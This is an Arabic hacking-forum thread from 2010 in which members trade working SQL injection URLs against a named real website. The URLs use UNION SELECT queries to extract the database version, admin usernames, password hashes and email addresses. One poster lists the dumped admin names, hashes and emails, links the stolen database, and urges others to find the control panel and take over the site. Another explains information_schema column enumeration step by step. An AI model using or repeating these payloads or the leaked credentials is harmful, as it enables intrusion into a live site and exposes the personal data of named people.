موقع مصاب - اصدار قاعدة البيانات 5

dz-fox · 07-18-2010, 05:25 AM

[align=center]السلام عليكم

الموقع مجرب و الثغرة ناجحة 100/100 و أنا لم أرد وضع اليوزر و الباسوورد حتى يتدرب عليه المبتدئين

[hide]http://www.bible-history.com/subcat.php?id=-23%20union%20select%20version%28%29[/hide]

بالتوفيق[/align]

المصدر: :: vBspiders Professional Network ::

l,ru lwhf - hw]hv rhu]m hgfdhkhj 5

superco0ol · 07-18-2010, 09:10 AM

جاء في وقته

حلو بتعلم عليه

تسلم ايدك..

سربوتن · 07-18-2010, 10:30 AM

[align=center]الله يبارك فيك [/align]

dz-fox · 07-18-2010, 02:36 PM

[align=center]شكرا على المرور شباب

ان شاء الله ستكون هناك مواقع جديدة[/align]

Master vbspiders · 07-18-2010, 04:06 PM

[align=center][/align]بارك الله فيك في ميزان حسناتك باذن الله
تحياتي

Azar36.exe · 07-18-2010, 04:43 PM

mezyana khoua

Azar36.exe · 07-18-2010, 04:54 PM

تفضلو يا إخواني :666:

كود PHP:

  http://www.bible-history.com/subcat.php?id=-23+union+select+concat(user_name,0x3e,user_pass,0x3e,user_email)+from+bho_board_users--

Master vbspiders · 07-18-2010, 05:27 PM

اقتباس

المشاركة الأصلية كتبت بواسطة Azar36.exe


	تفضلو يا إخواني :666: كود PHP: `http://www.bible-history.com/subcat.php?id=-23+union+select+concat(user_name,0x3e,user_pass,0x3e,user_email)+from+bho_board_users--`

[align=center][/align]حبيبي مشكور بارك الله فيك لكن انا الان جربت حقن الموقع من جديد وطلع معاي معلومات غير شكل

طلع اليوزر : jc
وطلع الباسورد : mos3s

[align=center][/align]انا لو معاي لوحة التحكم كنت جربت ادخل فيه حتى اتاكد اي واحد الصح بس للاسف ما لقيتها..
الي يلقي لوحة التحكم يدخل ويجرب وحلال عليه الموقع ^_^
تحياتي

Azar36.exe · 07-18-2010, 05:46 PM

أضف الأمر ID لتعرف أيهما الأول

Azar36.exe · 07-18-2010, 05:48 PM

هذا اليوز الذي إكتشفته يحمل رقم 3 لاكن ماذام الموقع ليس مفتوح التسجيل إذن كلهم من الإذارة

كود PHP:

  http://www.bible-history.com/subcat.php?id=-23+union+select+concat(user_id,0x3e,user_name,0x3e,user_pass,0x3e,user_email)+from+bho_board_users--

Master vbspiders · 07-18-2010, 07:08 PM

[align=center][/align]

الان سحبت قاعدة البانات كلها ^_^

وكلامك صحيح ما في اي اعضاء فقط ادارة وهما ثلاثة وعلى الترتيب هيك :
1-admin
2-jc
3-rusty

والباس لكل واحد على الترتيب :

1-a1fba67e72b37d0ba83c2cc937172ec8eb1fda6d
2-b404bbb52c91fe1f291ba9c2719aa7d916dc55e5
3-3a5fbfe524ec4319455769d5462eb2c4ac4cbe79

راح احاول افك التشفير باذن الله...

ايميلاتهم كمان على الترتيب :
1-jim@bible-history.com
2-jim@wanned.com
3-rusty@bible-history.com

عملت سيف لقاعدة البيانات ورفعتها...حملوها وحصلو رابط لوحة التحكم وحلال عليكم الموقع ^_^

لتحميل القاعدة من هنا :
http://www.multiupload.com/QK98XDX9WT

dz-fox · 07-18-2010, 07:52 PM

[align=center]Master vbspiders
-------------------

بارك الله فيك عزيزي[/align]

darkman.dz · 07-18-2010, 08:06 PM

جاري التجربة يا ولد البلاد

darkman.dz · 07-18-2010, 08:15 PM

يا وليد بلادي قولي وعلاه الأمر +from+information_schema+columns
مايمشيش في الموقع ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
و أنا جربت نزع علامة الزائد و كذلك نفس الخال
http://www.bible-history.com/subcat.php?id=-23 union select version()+from+information_schema+columns

dz-fox · 07-18-2010, 10:38 PM

[align=center]

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	يا وليد بلادي قولي وعلاه الأمر +from+information_schema+columns مايمشيش في الموقع ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ و أنا جربت نزع علامة الزائد و كذلك نفس الخال http://www.bible-history.com/subcat.php?id=-23 union select version()+from+information_schema+columns

أهلا أخي ... أنظر

ذلك الأمر لا يوضع لوحده

اليك الخطوات ... أفترض أنك تعرف استخراج الاصدار

بعدها ستضيع هذا الأمر في الأخير

from+information_schema.columns+where+column_name+ LIKE+CHAR(37, 112, 97, 115, 37)

و تضع الأمر التالي في مكان أحد الأعمدة المصابة

concat(table_name,0x3a,column_name,0x3a,table_sche ma)

فيصبح الرابط للموقع الذي وضعته أنا كالتالي

http://www.bible-history.com/subcat....20115,%2037%29

سيظهرلك هذا السطر

bho_board_users:user_newpassword:bible_history

و أظن أنك تعرف كيف تكمل

على العموم ان واجهتك مشكلة ضعها هنا[/align]

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
شرح الاتصال بي قاعدة البيانات من الشل	slouma_roi	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	13	02-17-2015 03:36 AM
موقع مصاب اصدار قاعده البينانات 4	KOOBAN	SQL قواعد البيانات	12	01-06-2011 03:32 PM
موقع مصاب اصدار القاعده 4	KOOBAN	SQL قواعد البيانات	24	12-11-2010 03:45 PM
الى كل هاكر محترف اخبرني: كيف يمكن اختطاف قاعدة البيانات من موقع بامتداد ASPX	aymnahmd	جـــ'ابات العناكــ'ب	0	07-14-2009 04:41 PM
[شرح] : نقل جميع صور المنتدى من قاعدة البيانات الى نظام الملفات لتكون قاعدة بياناتك خف الريشة	xman2	قســم تطويــر المــــواقع	0	04-25-2009 01:30 PM

موقع مصاب - اصدار قاعدة البيانات 5

SQL قواعد البيانات